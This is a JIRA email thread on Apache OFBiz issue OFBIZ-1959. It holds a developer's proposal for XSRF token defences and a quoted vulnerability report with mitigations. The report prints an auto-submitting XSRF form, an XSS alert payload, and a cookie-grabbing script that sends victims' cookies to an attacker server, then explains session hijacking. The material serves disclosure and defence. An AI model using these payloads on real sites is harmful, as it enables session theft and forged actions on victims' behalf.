[ 
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12700543#action_12700543
 ] 

David E. Jones commented on OFBIZ-1959:
---------------------------------------

Thanks for your review Michele.

I'm not sure if I understand the threat you're talking about correctly... are 
you saying that the HTML use in the attack would somehow have to get a user to 
enter their username and password?

We did discuss a few things related to tokens and such and after looking into 
various options I wrote up the follow email. The options listed at the bottom 
are the ones that are now implemented.

If there are ways you know of to get around some of the issues with tokens 
please do share! We could certainly implement those or other measures but the 
trick is how to do so without significantly impacting the end-user experience.

Thanks again,
-David

====================================================
Proposal Message Below:
====================================================

I've been thinking more about the XSRF problem and what we can do to make OFBiz 
more secure from this sort of attack. This is related to OFBIZ-1959 and there 
is more discussion and introduction to it there.

The trick is that we want to allow certain things:

1. the client's IP address can change during a session (also an attacker could 
be behind the same NAT router as the victim)
2. the client may have multiple browser windows or tabs open that are part of 
the same session
3. the client can jump from any page in an application to any other page in 
that application
4. once authenticated the client stays authenticated for the remainder of the 
session (doesn't have to re-auth for each page request)

Because of these once a user has authenticated the main secure token they pass 
around is their session ID. In many cases this session ID is NOT communicated 
in a secure, ie it is passed over the network in plain text (it is often in the 
URL, or the user may hit HTTP requests and HTTPS requests). In any case, if an 
attacker can find the jsessionid then they can forge a request and act like the 
original user.

In reality this is a problem that app servers should take care of, and could 
take care of in a generic way, but they don't (not any I know of anyway). For 
example they could do things like using different jsessionid values for secure 
and non-secure communication (ie different values for HTTPS and HTTP) and only 
allow the non-secure one (HTTP) to go in the URL.

Even with that in place we'd still have to do certain things, but these would 
be very doable in OFBiz. For example we'd have to make a few small changes so 
that requests with https=true simply cannot be accessed through HTTP (this is 
not strictly enforced right now). And even with that they may still be issues, 
and would certainly be issues for requests that don't use HTTPS.

One option is to have the framework generate a random token that is generated 
for each request so that the next request to the server MUST pass that token 
otherwise we treat it as if the user is not logged in, and in fact we would 
just logout the user and make them re-auth. That's an annoyance for the false 
positive cases, but much more secure.

The major false positive case that concerns me related to this is the use of 2 
common browser features:

1. the back button: if you go back you'll have a page with an old token in the 
links and clicking on any link or submitting any form would require you to 
re-auth

2. multiple windows/tabs: if you begin your session in one tab, then open 
another page in the same webapp in another tab it will be part of the session; 
if you then go back to the original tab and click on something the random token 
will be stale/old and you'll have to re-auth, and that will cause the token to 
update so when you go back to the second tab and hit any link you'll again have 
to re-auth

The solution of a random token wouldn't be too hard to implement, but this 
constraint is a real pain. We could restrict this to secure pages only, but 
basically it means that for those pages users can't use the back button or 
multiple tabs/windows... and I don't like that one bit!

The only solution I can think of to this would basically make the whole thing 
useless. We could remember past tokens so that as long as you have one of the 
valid tokens for the session then it's okay. However, if we do that then the 
random tokens will be no more secure than the jsessionid. We could try harder 
to keep them more "secret", but if they go into a parameter or even a cookie 
then they aren't really secure. Maybe we could change all links to form 
submissions somehow... or maybe not. We'd be back to where intercepting a 
request that is part of a session could easily reveal the jsessionid AND a 
random token that would be valid for the rest of that session. Ie, we're back 
to square one.

BTW, even if we go with this, it still isn't perfect. The random tokens would 
that an attacker would have to watch for responses as all tokens in requests 
would be invalidated unless they can keep that request from making it to the 
server (a real man-in-the-middle attack like that is a tough one to handle!). 
They would have to look at responses to get a token and the jsessionid and then 
send the forged request before the user hits another page.

In other words, for all of this pain, especially not being able to use back or 
multiple tabs/windows, we effectively shorten the vulnerable time period and 
restrict the attack methods a bit.

================================

One thing that we could do to help with this problem, at least for secure 
pages, is to tighten things up a bit. I'm thinking of 2 things:

1. if a request has https=true then we will not accept http requests AT ALL, we 
will just return an error message (currently if it is a form submission we just 
accept it)

2. if a request has https=true we will ONLY pass encrypted data (ie body 
parameters, not URL parameters) to the service it calls; events may need to be 
changed to better support this since they have direct access to the request 
object, but for services we can easily filter this out; that means URL 
parameters will be ignored in secure requests that call services

These things, and perhaps others, would help this problem a lot for secure 
requests. For non-secure requests... well they aren't very secure anyway! ... 
and they would continue to be more vulnerable to XSRF attacks too.

Anyway, comments and suggestions would be well appreciated...

-David


> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and 
> mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: Release Branch 9.04, SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: Release Branch 9.04, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security 
> issues|||+++++++++++++++++++++++++
>       
>       1.: Cross Site Request Forgery (XSRF) on almost every front/back-end 
> requests
>       2.: reflected/stored XSS in search, ProductId/Product Internal name and 
> so on
>       3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST 
> request
> parameters are never "fortified" to prevent XSRF: no random token protection 
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the 
> attacker, force you (the victim)
> to executes. 
>  - In GET requests it will be a link like 
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one. 
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest 
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose 
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the 
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following 
> innocuous one:
>       
>       <form method="POST" id="xsrf" name="xsrf" 
>                  
> action="https://127.0.0.1:8443/catalog/control/createProduct";> 
>               <input type=hidden name="isCreate" value="true"> 
>               <input type=hidden name="productId" value="hack02">
>               <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>               <input type=hidden name="internalName" value="hack02">
>        </form>  
>       <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, 
> content and ProductName), 
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of 
> the same browser - not Chrome ahah), 
> his content will be automatically executed and the POST request will be sent 
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in 
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the 
> browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some 
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a 
> needed
> parameter is quite un-useful and so prone to store our malicious code) with 
> something 
> like:
>       
>               <input type=hidden name="internalName"
>                                       
> value="<script>alert(document.cookie)</script>">
>                                       
> The malicious code will display every cookie information in a pop-up, that 
> only the victim 
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET 
> request from 
> our victims, extract the useful parameters and store them in a file or DB, in 
> a way
> that wen can hijack the session of the admin/manager.
>       
> The internalName value is prone to store our malicious code also because his 
> maxlength 
> is 255 characters: this gives us a great advantage when creating a complex 
> injection code, 
> if we don't want to inject a link to the malicious script like 
> <img src="http://x.x.x.x/malicious.js";>
>       
> The malicious code will look as the following one:
>       
> <script> 
> var 
> str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
>  
>       if(document.cookie.indexOf("done")<0)\{ 
>              document.cookie="done=true";
>              document.location.replace(str); 
>       }
> </script> 
>       
> Of course the code can be a lot shorter, and the "already-exploited-check" 
> can be removed.
>       
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL 
> (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid 
> credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new 
> cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value 
> with the grabbed 
> one, and we make the previous request another time (just refresh on the login 
> page), then
> we are riding the same victim session. If we are lucky and it's an admin, we 
> can do 
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be 
> deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will 
> mitigate XSS and Session Hijacking.
>  - Application: 
> XSS--> input validation on form parameters and GET/POST request values must 
> be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI 
> project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add 
> to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the 
> algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

-- 
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

Reply via email to